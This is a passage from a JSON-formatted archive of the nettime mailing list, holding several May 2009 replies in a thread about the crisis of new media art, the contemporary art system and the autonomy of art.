opinion that\nthe art I'm more interested in is more often than not to be found in\nplaces outside that system. In the 1960s, this was true for Fluxus\nand Situationism, in the 1970s and 1980s for the Mail Art Network and\npostpunk, and in the 1990s for Net.art, the Luther Blissett project or\nthe alternative pornography movement. Today, to speak in terms of our\nboth hometown Rotterdam, I'm finding the interesting contemporary arts\nat places like WORM and De Player and only rarely at Witte de With,\nfor example.\n\n> For a constructive debate, it's important to avoid caricatures,\n> otherwise there's a risk of creating false enemies, or missing out\n> on how to best counter the real ones.\n\nWell, this is true, and I admit that my posting was polemical\n- and emotional. My gripes with the contemporary art\nsystem are also based on bad personal experience and\nconfrontations such as the one with the \"Just Do It\" exhibition\n<http://www.mail-archive.com/nettime-l {AT} bbs.thing.net/msg02876.html>.\n\n> hmmmm....not sure about this, having worked as a hybrid artist/\n> designer/curator/media artist/collaborator for some time now, again\n> I reiterate that there are many different artworlds (and for that\n> matter artists/inhabitants/vagrants).\n\nIndeed. It's just that the particular art world I mentioned above\n- and which can be roughly described as the art world of the many\nbiennials, the Documenta, contemporary art spaces like PS.1 and KW,\ncontemporary art journals like October, Texte zur Kunst, Springerin\nand Metropolis M, too often monopolizes the term \"art\" for the art\nthat it represents. Admittedly, its system can be permissive and\ninclude 'outside' practices, particularly when a curatorial subject\nrequires it. However, it would be possible to map the institutions\nmentioned above just by the overlap of the people they involve,\nand come up with a fairly good representation of what makes up\ncontemporary art.\n\nThey same is true, no doubt, if you take ars electronica, transmediale\nand ISEA, plus Leonardo, Neural, Rhizome and Nettime, ZKM and ICC\nTokyo, and pin down the system \"media art\". But just as that latter\nsystem is now being - deservedly - questioned and undergoing a huge\nif not terminal structural crisis, I think it is as legitimate to\nquestion the contemporary Fine Art system, and the Western concept of\nautonomous art. So, going back to Geert's initial report about the\ndiscussion about the crisis of \"Media Art\" at Montevideo Amsterdam,\nI think that it can't be a solution to integrate a very questionable\n\"media art\" system into an equally questionable contemporary art\nsystem. [As it is now happening, in education, too, for example in the\nZurich art school media department where Felix Stalder teaches, and\nwhere the media programme has been rolled back into Fine Art on the\nMaster level.]\n\n> Sometimes they intersect, rub next to each other, come into\n> agitation or simply run on parallel tracks. (Not too disimilar from\n> the so-called new media world.) Think of open source practitioners,\n> the Max/Flash folk, and those that poach the web's detritus for\n> their own purposes, they're all a part of new media arts, but each\n> tend to dwell in different corners of the digital notion universe\n> (or maybe not, if you're one of those cross-pollinators :-)\n\nYep, only that what you describe above is really declining and may not\nsee much art funding or support in the future. The writing is on the\nwall.\n\n> >> Director Heiner Holtappels opened by noticing that new media art\n> >> is not easily accepted by fine art. Traditional art has become\n> >> eclecticism. According to Heiner, all art is technology based.\n> >\n> > This is true, yet contemporary art has mostly given up on\n> > reflecting its media. [I can almost hear an iPhone-wearing curator\n> > saying that reflecting one's media is outmoded modernism.]\n>\n> ouch, how stereotypes do prevail. I wonder if there would be a\n> paradigm shift if he/she had been envisioned with a pre-paid nokia.\n> ;-)\n\nI should have told that the above example was taken from a real\nlife experience, although it's admittedly a deliberate caricature\nwhen I I blew it out of proportion as above. I agree very much with\nBrian that artistic practices (to put it as broadly) are deeply\nintertwined in culture and communication. There's a good chance,\nand I really mean this, that I am getting old - in punk terms:\na boring old fart - who's insisting on outmoded viewpoints. But\nI think that critiques of modernism, as legitimate as they are,\nbecome problematic when they're used to legitimize and maintain the\nstatus quo. [An extreme example is the contemporary art gallery\nscene and private collections in Berlin and their intrinsic links to\nthe German discourse of \"Neue B\u00fcrgerlichkeit\" (\"new bourgeoisie\")\n<http://de.wikipedia.org/wiki/Neue_B\u00fcrgerlichkeit>.] The current\neconomic, political and social developments should render all\nnotions of posthistoire and non-rupture in the fabric of culture and\ncommunication, and hence also in the arts, all the more obsolete.\nThey also question the bourgeois insistence on artistic practice as a\nproduct of individual subjectivity. And finally, the contemporary art\nfield has been much ahead of the media art system in postcolonialism;\nhowever, if this reflection is serious, it should not exclude the\nnotion and system of art itself.\n\nWell, anyway, since the Geuzen collective of which you're a member\noperates in its own carefully chosen grey zone between art, activism,\ndesign, media, research and education, I actually think that our\nstandpoints are quite similar, just that our points of departure\nregarding the usefulness of the contemporary art system might\ndiffer. For me, the projects of De Geuzen are a very good example\nfor a post-autonomous artistic practice. Again, although I'm no\nfriend of the media art system, I'm quite sure that it would be\npractices like those of the Geuzen that would suffer and struggle\nto find institutional support once the \"media art\" system will\nhave vanished and been replaced with the existing contemporary art\nsystem (particularly the more cut-throat kind of the USA, Germany\nand England, with people who are anxious not to pollute Fine Art\nwith applied or sociocultural practices they hate and detest as\nnon-artistic [1].).\n\nFlorian\n\n\n[1] a good example would be Berlin's K\u00fcnstlerhaus Bethanien, a renown\ncontemporary arts space, whose director Christoph Tannert bitterly\nfights a group of squatters and their sociocultural center in his own\nbuilding. \n\n\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00068",
                        "date": "Sat, 23 May 2009 02:05:03 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20090523000503.GA17293 {AT} hp.localdomain",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00068.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "Renee Turner <geuzen {AT} xs4all.nl>",
                        "content": "\nHi Florian,\n\nMy apologies for a slightly delayed response. I completely agree that\nthere are aspects within the art world which need critical scrutiny. I\nwas simply asking for specificity, and I appreciate that you've taken\nthe time to clarify.\n\n> But unlike other culture industries, the contemporary (Fine) Art\n> system often falsely believes in its own autonomy.\n\nI wonder if this is true. Feminist/post colonial practices have often\nargued the opposite and with much efficacy. Think of Jean Fisher's\ncritical texts, Adrian Piper's work and Lucy Lippard's writing and\ncuratorial projects and even the recent educational department at\nGoldsmiths of Irit Rogoff; all of these practices seem to point to an\nart world/system which is political, embodied and implicated.\n\n> And it's my general experience and opinion that the art I'm\n> more interested in is more often than not to be found in places\n> outside that system. In the 1960s, this was true for Fluxus and\n> Situationism, in the 1970s and 1980s for the Mail Art Network and\n> postpunk, and in the 1990s for Net.art, the Luther Blissett project\n> or the alternative pornography movement.\n\nI'm also interested these movements, practices, antics/pranktics,\nbut unlike you, I see them as a part of a complex and multifaceted\nart world (not outside of it). I find it problematic to define the\nsystem as only popular art mags, the market and large institutions\nwhen there's so much other interesting work going on. (not to mention,\nhow would you classify those of us involved in art education?)\n\n> Today, to speak in terms of our both hometown Rotterdam, I'm finding\n> the interesting contemporary arts at places like WORM and De Player\n> and only rarely at Witte de With, for example.\n\nYes, here we can look into specific curatorial approaches and talk\nabout who these various institutions and orgs are addressing. (this\ntakes more time than I have now... but I'm nonetheless interested in\nexploring this further at a later juncture) >> > Indeed. It's just\nthat the particular art world I mentioned above > - and which can\nbe roughly described as the art world of the many > biennials, the\nDocumenta, contemporary art spaces like PS.1 and KW, > contemporary\nart journals like October, Texte zur Kunst, Springerin > and\nMetropolis M, too often monopolizes the term \"art\" for the art > that\nit represents. Admittedly, its system can be permissive and > include\n'outside' practices, particularly when a curatorial subject > requires\nit. However, it would be possible to map the institutions > mentioned\nabove just by the overlap of the people they involve, > and come up\nwith a fairly good representation of what makes up > contemporary art.\n\nI agree, this *is* truly the crux.  It's crucial to map the overlap of  \npeople/institutions and ask ourselves who's setting the agenda, who's  \ncontrolling the funding and whose *corner* of art world is being  \nrepresented, and moreover, what do these representations make  \nimpossible, meaning what do they render invisible.\n\n\n> They same is true, no doubt, if you take ars electronica,\n> transmediale and ISEA, plus Leonardo, Neural, Rhizome and Nettime,\n> ZKM and ICC Tokyo, and pin down the system \"media art\". But just\n> as that latter system is now being - deservedly - questioned and\n> undergoing a huge if not terminal structural crisis, I think it is\n> as legitimate to question the contemporary Fine Art system, and the\n> Western concept of autonomous art.\n\nIt's absolutely legitimate to question art's autonomy, and it's been\nhappening for some time now. Besides the previous examples listed\nabove, recently there has been much debate about the proliferation of\nbiennials how art feeds into a neoliberal agenda.\n\n> So, going back to Geert's initial report about the discussion about\n> the crisis of \"Media Art\" at Montevideo Amsterdam, I think that it\n> can't be a solution to integrate a very questionable \"media art\"\n> system into an equally questionable contemporary art system. [As it\n> is now happening, in education, too, for example in the Zurich art\n> school media department where Felix Stalder teaches, and where the\n> media programme has been rolled back into Fine Art on the Master\n> level.]\n\nIn many respects this cycle has happened to photography (remember\nwhen John Tagg wrote that no history of art photography could be\nwritten without taking into account, pornography, daguerreotypes,\npropaganda and family snapshots.) Or video's roots in activism,\nhome videos, street journalism (Martha Rosler's essay: Shedding the\nUtopian Moment).... there's much to learn from these histories of\nassimilation. It's important to look at how institutionalization\n\"tames\" media...disciplines the discipline. But while questioning the\nsystems of Fine Art, Media Art etc, I think as producers, viewers,\neducators and implicated accomplices, it's imperative to ask what do\nwe want to see happen or change.\n\nAs a graduate student in the eighties, I was taught by Harmony\nHammond, a painter and co-founder of Heresies. In her painting\nclass, she reserved time to present her personal collection of\nartists' works she felt were under-represented by the mainstream art\nworld. It was a small but extremely powerful gesture. Eventually, in\n2000 the collection was published under the title, Lesbian Art in\nAmerica: A Contemporary History. I learned much from Harmony, but\nthe most influential part of her teaching was watching her practice\n*otherwise*.\n\nSo in this context, I'm asking myself how can I/we practice\n*otherwise* and how might that *doing* nudge or broaden the scope of\ndominant discourses and visual regimes.\n\nbest,\n\nRenee\nhttp://www.geuzen.org/\nhttp://www.fudgethefacts.com/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00075",
                        "date": "Mon, 25 May 2009 13:37:41 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20C7E909&#45;1381&#45;4CB2&#45;963B&#45;40479902EC2E {AT} xs4all.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00075.html",
                        "content-type": "text/plai",
                        "author_name": "Renee Turner",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "ben.craggs {AT} fastmail.f",
                                "content": "\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting\n> over these definitions will result in a ghetto-situation sooner or\n> later. the problem -IMHO- is not that media art is not recognized\n> by the fine art world but that the fine art world is dealing with\n> other subjects. when was the last big exhibition dealing solely\n> with \"painting\" or \"sculpture\" you've seen? ars electronica and the\n> others are doing that every year: \"new media art\" with changing\n> subtitles.\n\n <...>\n\nAn interesting addition to this would be the emergence of 'New, new\nmedia arts'. I am thinking here, of practices in the field currently\ndefining itself as bioart. Here the medium that is being manipulated\nis a form of living or sem-living matter, or tissue. Bioartist,\nEduardo Kac and curator Jens Hauser have sought to specifically\nidentify this new art practice, expressly on the basis of the medium\nitself. Bioarts, they argue, are most definitely are not those works\nthat take bios or a form of life, as a subject, but manipulate it as a\nmedium. That said, the manipulation of living tissue can be executed\nthrough a number of divergent practices, specific technologies, and it\nis these that seem to be defined by some as the media, not the living\ntissue they manipulate. I guess a somewhat simplistic comparison\nwould be between with identification of various 'digital media' in\nabstraction from the advances in computer technology on which they are\nbased.\n\nMy current work in the field of bioart is increasingly\npushing me towards a frustration at the distinction between\nart/science/media/technology/old/new that recurs in the majority of\nliterature, and if I am not wrong seems to predicate this current\ndiscussion. In the light of these new practices I have been working\ntowards re-imagining what art and media are in themselves, as\ntechnologies and processes not as distinct practices - the specific\nmedia or declared purpose seem less relevant from this perspective. So\nI wonder whether 'meaning is present in all works, to varying degrees,\nregardless of how they might be appropriated by culture' could be\nextended beyond a simple valorisation of art.\n\nIt also seems that those new media theorists, such as Manovich and\nBaudrillard are somewhat restricted in their approach in that new\nmedia is perceived in a somewhat teleological sense, newness for\nthe sake of newness, with new theories to match new media - without\nasking what is actually recurring in new media. IMO it seems that\nmost new media, are really just old media anyway, particularly so in\nbioart. Is the creative growth of tissue not what we do continually\nas part of our natural bodily processes? Would it be facetious\nthen to ask whether all media be considered from this originary\nperspective, negating the discussions about relative newness or\ncultural categorization (ie i's art, it's science, it's technology,\nit's media).\n\nBen\n\n\n\n-- ---------\n  Ben Craggs\n  07868 273 360\n---------------\n  http://www.digitalscribblings.org/forums\n  A place for academic discussion, networking and general postgraduate procrastination!\n---------------------------------------------------------------------------------------\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00053",
                                "date": "Mon, 18 May 2009 08:42:05 +0100",
                                "to": "\"NetTime Mailing List\" <nettime-l {AT} kein.org>",
                                "message-id": "1242632525.29400.1315956661 {AT} webmail.messagingengine.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00053.html",
                                "content-type": "text/plai",
                                "author_name": "ben . craggs",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                "content": "\nRama Hoetzlein wrote:\n\n> New media art should be defined from an art-philosophical\n> perspective. In this view, meaning is present in all works, to\n> varying degrees, regardless of how they might be appropriated\n> by culture. At what time in history was art not appropriated by\n> culture? None the less, people continued to create art. The process\n> of art-making is one of creating meaning, and this relation between\n> the artist and the work is not changed despite how the object is\n> ultimately appreciated, used, or abused by culture.\n\nIt's great to read such a fundamental comment. I shall add something.\nMy viewpoint includes both Tolstoy's and Baudrillard's. I find that\ninformatic art (my own off-the-cuff term, but surely better than new\nmedia) is compelling precisely when it places subjective expression\nwithin the most strongly coercive social arena of our time, namely\nthe digital networks. Your idea that there is an art-philosophical\nperspective that could exclude or bypass social determinism seems,\nbegging your pardon, somewhat naive. What is more, I think all the\ninterest of art itself disappears when it is shorn from the contexts\nof power and held up as a pure conductor of subjectivity. Approached\nin that way, the art work tends to become no more than a mirror for\nour own emotions and fantasies -- far from any state of empathy,\nEinfuhlung or whatever one chooses to call it. So I am not surprised\nthat you move from Tolstoy's fascinating quote (reproduced below) to\nthe \"relation between the artist and the work.\" I guess I am more\ninterested in, well, media: the way the work relates the artist to\nothers.\n\nHowever, your observation about new media theory (Kittler and McLuhan\nwere recently mentioned here) is spot on. What we are given from\nthe podium, over and over again, are lessons about the power of\ntechnoscientific systems. The predicament of the human singularity,\ncaught within the net of determinisms yet resisting, creating another\nreality and expressing this rather fantastic adventure through\nwhatever kind of material or semiotic medium has been chosen, is left\nout of the story, which thereby becomes a monument to the crushing\nregularity of the status quo. The same thing, of course, happens to\nresistant political action in the hands of the sociologists and the\nHeideggerean philosophers of an essential, \"historial\" alienation.\nBoth ethics and aesthetics take it on the chin.\n\nIn my view, the great inspiration for new media theory has come from\nhackers themselves, who create alternative possibilities for existence\nwithin the overwhelmingly powerful networked environment. This is why,\nin essays which are inseparably about art and technics, I tend to\nuse concepts like \"reverse imagineering\" or \"escaping the overcode.\"\nExpression, for me, is the rupture of code, an excess which does not\nabolish the labyrinth in which we are caught, but at least opens up a\npossible new path through it.\n\nThat's one approach. There could be many others. The problem, as\nyou point out, is that usually there are not, because the theory\nvery rarely meets any actual practice. The necessary discussion of\ntechnological power holds the center stage. Of course that is easier\nfor the whole \"new media\" social circuit, because then you don't have\nto think very much, or feel very much, or try very hard to find out\nwhat might be at stake in a particular work.\n\nThis list, I guess, is about the best place to talk about how to\napproach media art. Thanks to all for starting the conversation. I'm\nready for more. Let the thousand info-aesthetics bloom!\n\nbest, BH\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00054",
                                "date": "Sun, 17 May 2009 23:32:13 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A10825D.6040905 {AT} wanadoo.fr",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00054.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                "content": "\nBrian, thanks for your reply. In general, i'm glad to see that\nwe're mostly in agreement. Based on my observations of nettime-l,\ndisagreement is often the norm, so I'm glad to see that there is\nsome consensus between us that the new media theorists are currently\nthe only option we've been given, and that we really need some\nalternatives.. Now, for some responses.\n\n> Your idea that there is an art-philosophical perspective that could \n> exclude or bypass social determinism seems, begging your pardon, \n> somewhat naive. \n\nI'm not suggesting that art-philosophy can bypass social determinism.\nI have no illusions about the difficulty the artist faces in creating\nany real social change, since my view of art does not negate any of\nthe real research done by the media theorists. My own view is that\nthe idea of art-for-social-change is long outdated. You suggest\nthat hackers are the source of real inspiration in new media theory\nbecause they alone are able to transform the media itself, and thus\nundermine the system toward some possible escape path. Yet, there\nis no reason to believe that even if the media itself changes, that\nsociety will too. In my view, the only way we could overcome the\ncurrent technoscientific system would be due to a deep, fundamental\ntransformation in all individuals - and while I believe art is\ncapable of doing this one person at a time, I don't think any one\nartwork, hacker or otherwise, is capable of really altering the\ntechnoscientific system we find ourselves in on a global level. Thus,\nall social change we talk about now is still part of that system. This\nis the media theorist perspective, of course - which i agree with -\nbut as an artist, its incomplete.\n\nThe reason I advocate art-philosophy is for the sake of the\nindividual, and the field of art itself. While i just said the artist\nis powerless to transform culture, perhaps to a degree greater than\nmost would like, the artist is _not_ powerless to transform him or\nherself, and others which that person touches through the art..\nDespite whatever the technoscientific system may do, to create art is\nan intentional act by an individual, and thus has an immutable meaning\njust by virtue of being \"created\". We get to choose what is created\n(this does not make it good art necessarily).\n\nThat meaning is present in all work \"to varying degrees\". By this, i\nmean that we each have a unique relationship to our artwork. For some,\nit is a mirror of personal emotions and fantasies (and probably my\nown work most of the time), while others may be able to communicate\nmore.. So, I'm not evaluating art. Some is good, some is not. However,\nhaving an art-philosophical does not automatically reduce our works to\nemotional fantasies. In fact, it is more likely to result in genuinely\nempathetic works since it creates a solid foundation for art based on\na philosophy in which art is encouraged to be empathetic, rather than\nresponsive to a system.\n\nI'm simply stating -- which I think we perhaps both agree with here --\nthat so far we have not been given any other alternative view of new\nmedia art other than that proposed by the new media theorists. The way\nout of this problem is, I believe, through a philosophy of art whereby\nthe artist has full awareness of the problems of society (hopefully),\nyet continues to create works of art despite this. It is possible to\nhave no illusions about the inability of art to bring about explicit\nsocial change, but understand that it can bring implicit change\nthrough individual communication.\n\n-rama\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00052",
                                "date": "Sun, 17 May 2009 17:24:51 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A10AAD3.1010309 {AT} umail.ucsb.edu",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00052.html",
                                "content-type": "text/plai",
                                "author_name": "Rama Hoetzlein",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "carlos katastrofsky <carlos.katastrofsky {AT} gmail.com>",
                                "content": "\n> The way out of this problem is, I believe, through a philosophy of\n> art whereby the artist has full awareness of the problems of society\n> (hopefully), yet continues to create works of art despite this.\n> It is possible to have no illusions about the inability of art to\n> bring about explicit social change, but understand that it can bring\n> implicit change through individual communication.\n>\n\nbut can \"change\" be a parameter for art? what is to be changed through\nart? i agree that a \"change\" in whatever direction is possible but\nIMHO art mustn't be reduced to it. to me art is also someting i can\nadmire without thinking of having to change something. in fact even\nif i see some really good \"political art\" the first step is to admire\nit (wow, great work) and then to think about consequences. art is\nsomething autonomous. to me such an approach would free it from being\na mere form of communication, a medium, or \"new media art\". but at the\nsame time it can be all of that.\n\nbest,\ncarlos\n\n\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00058",
                                "date": "Mon, 18 May 2009 16:11:26 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "fb9095bf0905180711m6cd209adt9b6435753d81770a {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00058.html",
                                "content-type": "text/plai",
                                "author_name": "carlos katastrofsky",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                "content": "\nexactly.. even if we are fully unconcerned with political art, when\nyou say \"wow, great work\", thats just and only what i mean by implicit\nchange (you are changed).. art is autonomous here because, while the\nwork may or may not be political, this implicit change defines only\nthe meaning-relation between the artist, the work, and the viewer.\nAnd that relationship is established independent of the impact of\nmedia on society, i.e. politics. A philosophy of art should provide a\nfoundation for complete autonomy, and this is done by observing that\nthe basis of art is creating and appreciating.. keeping in mind that\ntheory only gets you so far as an artist.\n\nrama\n\ncarlos katastrofsky wrote:\n> but can \"change\" be a parameter for art? what is to be changed through\n> art? i agree that a \"change\" in whatever direction is possible but\n> IMHO art mustn't be reduced to it. to me art is also someting i can\n> admire without thinking of having to change something. in fact even if\n> i see some really good \"political art\" the first step is to admire it\n> (wow, great work) and then to think about consequences. art is\n> something autonomous. to me such an approach would free it from being\n> a mere form of communication, a medium, or \"new media art\". but at the\n> same time it can be all of that.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00057",
                                "date": "Mon, 18 May 2009 10:11:25 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A1196BD.3060002 {AT} umail.ucsb.edu",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00057.html",
                                "content-type": "text/plai",
                                "author_name": "Rama Hoetzlein",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                "content": "carlos katastrofsky wrote:\n\n > if i see some really good \"political art\" the first step is to admire\n > it (wow, great work) and then to think about consequences. art is\n > something autonomous. to me such an approach would free it from being\n > a mere form of communication, a medium, or \"new media art\". but at the\n > same time it can be all of that.\n\nWhat does one admire a piece of art? What is its autonomy?  And what could\nbe its consequences? I have asked myself these questions for years. Like\nmost thinking people, I have come to a few conclusions. And since I like\nthe idea that art can be \"all of that\" - a form of communication, a medium,\nnew media art - I would like to share these conclusions with you.\n\nHumans are excessively complex by nature, and inherently social. We are\ndefined by the surfeit of symbolic activity that goes on in our brains and\nindeed, in our full sensorium, and that comes out not only from our mouths\nbut in all sorts of gestures and postures and practices directed toward the\nsenses and symbolizing activities of others. A long anthropological\ntradition running from Sapir through Levi-Strauss to Sahlins holds that\nso-called \"primitive\" societies are no less complex than modern ones: their\nlanguages show comparable range and variety, but are (according to\nLevi-Strauss) oriented differently, more concrete in one case, more\nabstracted in the other. There is so much going on in any human being and\nbetween any group of human beings that just ordering or harmonizing all\nthis excessive symbolization - I mean, excessive over what the utilitarians\nthink of as the simple quest for satisfaction or corporeal pleasure -\nbecomes a problem in itself. Because madness always lurks on the edges of\nour reeling imaginations, and then there is also depression, or anger, or\njealousy, or prejudice or extreme paranoia, indeed a great number of\nobscure problems that can disrupt the life of the one and of the many.\n\nReligion has been the great social technique for bringing all this roiling\nthought, expression and sensation into some kind of predictable pattern and\nharmony, constituting entire narrative and figural universes, with their\nbuilt environments, rituals, music, poetry, smells, tastes, etc, all\nassociated and carefully correlated with orders of kinship, canons of\nsexuality, responsibilities of care, expressions of tenderness,\ncommandments, prohibitions and the like. What we now call art, as it\ngradually detached itself from religion and became a series of aesthetic\ntraditions interpretable and modifiable by individuals - as it became\nautonomous in other words - seems to have taken on the role of being the\nsensuous and ideational mirror of the individual's proper \"fit\" with\nsociety; it became a way of continuing the vast and mostly imaginary\nconversation about the ways that the one relates to the many, and\nvice-versa.  However, this conversation was no longer necessarily about\nharmony: because depending on the very particular context, the proper \"fit\"\ncould have aspects of a \"misfit,\" and the quest for an idealized harmony\ncould involve extreme disruptions of the status quo, disruptions appearing\nboth in art and in life itself. Just think about the Antigone of Sophocles\nand you will see that this kind of problematic was not invented with the\nromantics, it goes back quite a ways.  Clearly it gets particularly intense\nin modern democracies, where we are all brought up to conceive ourselves as\nboth legislators and revolutionaries.\n\nNow, amusingly, one of the reasons I ever even bothered to think about such\ncomplex and excessive things, so far from \n\"direct political action\" and what have you, is that for \nmany years I have found myself with a certain nagging problem of getting up\nin the morning. Perhaps others have experienced this? It so happens that on\ncertain mornings I may spend as much as an hour just thinking about a\ncertain constellation of things: a group of people, an artwork, a political\nissue, a line from a song, a concept, a phrase from a book, an image, a\nrhythm. Without showing any particular signs of anxiety, insanity,\ndelirium, fever, swine flu or whatever, I still found it necessary to bring\nsuch constellations of ideas and sensations into some kind of dynamic\npattern that would lend a spring to my step, a direction to my speech, an\neffectiveness to my gestures.  Being a bit of a misfit - according to the\naforementioned tradition in the democratic societies - I had to work on\nthis question of how to fit all this in, nonetheless: how to fit into my\nown overflowing symbolic and sensate world, first of all, and how to fit\nthat world into the multitude of others with whom daily activity brings me\ninto contact.  Thus I began to think that what is pleasing, satisfying,\nattractive, intriguing, inspiring, shocking, repellent, etc in the formal\nallure of artworks is also somehow the result of other people's struggles\nwith the excess of symbolization in which they are embroiled, and that the\n\"success\" of the artwork (wow, great work) is always some variation on the\n\"infinite theme of the artist(s) trying to break out of one universe and\n\"fit into another - whether we're talking about a purely abstract universe\n\"of chromatism or rhythm, or some Hegelian quandry of historical\n\"dialectics, or the current discussion about cap and trade, or the latest\n\"dispute over the coolest tattoos in the punk or heavy-metal circle that\n\"encloses your secret passion. An aesthetic form doesn't directly solve any\n\"of the weighty social problems - but it helps get a world together, it\n\"helps structure a pattern and a dynamic and an enthusiasm, which is always\n\"a good start.\n\nSo how 'bout the politics then? Well, according to my little theory, the\npersonal is clearly both aesthetic and political, because if you can't get\nout of bed you are definitely not going to make it to the office, the\nmarch, the meeting, the voting booth, the library, or wherever your\nactivity is going to have some consequences in terms of organizing social\nrelations. What is more, this is not just my little theory, because going\nback to Plato's Republic or maybe the Rig Vedas, social thinkers have been\nvery conscious of the influence of things like music on the order and\nharmony of the community, the city, state or whatever.  Indeed, not long\nago we saw with dazzled and almost disbelieving eyes that a great\nnation-state like China could put a significant fraction of its resources\ninto organizing an aesthetic display which was not just supposed to knock\neverybody out, American style, with its overwhelming show of wealth, but\nalso and above all to enact and celebrate an ideal of harmony and societal\ncoordination which, from my anarcho-individualist viewpoint, was at once\nvastly impressive and also frankly terrifying, because here I could see an\nintensive use of all the latest, hypercomplex aesthetic techniques to knit\ntogether an order that could power a vast authoritarian economic machine\nand infuse it with the enthusiam and belief of the many - which is a lot,\nwhen we're talking China. So you want new media? Replay your avi file of\nthe opening ceremonies of the 2008 Olympics.\n\nWhat I am trying to get at with all of this is that art is essentially\nmedia, it is not merely but essentially about communication, only what is\ncommunicated is not just a phrase or a slogan or a piece of information,\nbut a problematic attempt to reconfigure a world on every level of sensate\nand imaginary experience. That can be an attempt to fit in or to stick out,\nto harmonize or to disrupt, to smash the current relation of self and\nsociety or to conserve it or to invent another one; but insofar as art is\nexpression, it always projects this struggle over the shape and balance of\na world towards the ears and eyes and excessive imaginations of others.\nWhen we say that art is autonomous, we situate it in the long democratic\ntradition where the self, autos, tries to help establish the law, nomos,\naccordingly which it can freely develop in the company of fellow human\nbeings. Now, the problems of this attempt at autonomy are almost infinite,\nthey are sexual, technical, ecological, emotional, mystical, contractual,\nmaterial, they involve philosophy, science, babies, great art and also the\nplumbing. And they always involve the relations of individuals and groups\nto others whose worlds they do not understand, whose rhythms they do not\nfeel pulsing in their own veins, whose tacit concepts of harmony and\ndisruption are not expressed by the same patterns and shapes and colors and\ncombinations of tones. So when I say, Wow, great art - as I often do, just\nthe way people in the new media arts circles have done for years at\nfestivals sponsored by Philips and Microsoft and Sony and the like - the\nfirst consequence for me is to inquire into the world from which that art\narises and to which it points, and eventually to see how I fit into or\ndesire to break out of that world.  This means that a deep and searching\ncriticism can never just be criticism of the work, it always has to look\nfurther back, into the world from which it sprang, and ahead to the\nconsequences of a potential change in the worlds we share, or at least to\nthe consequences of a change in the way that *I* or *we* will relate to\nother worlds in the future.\n\nFinally, it seems to 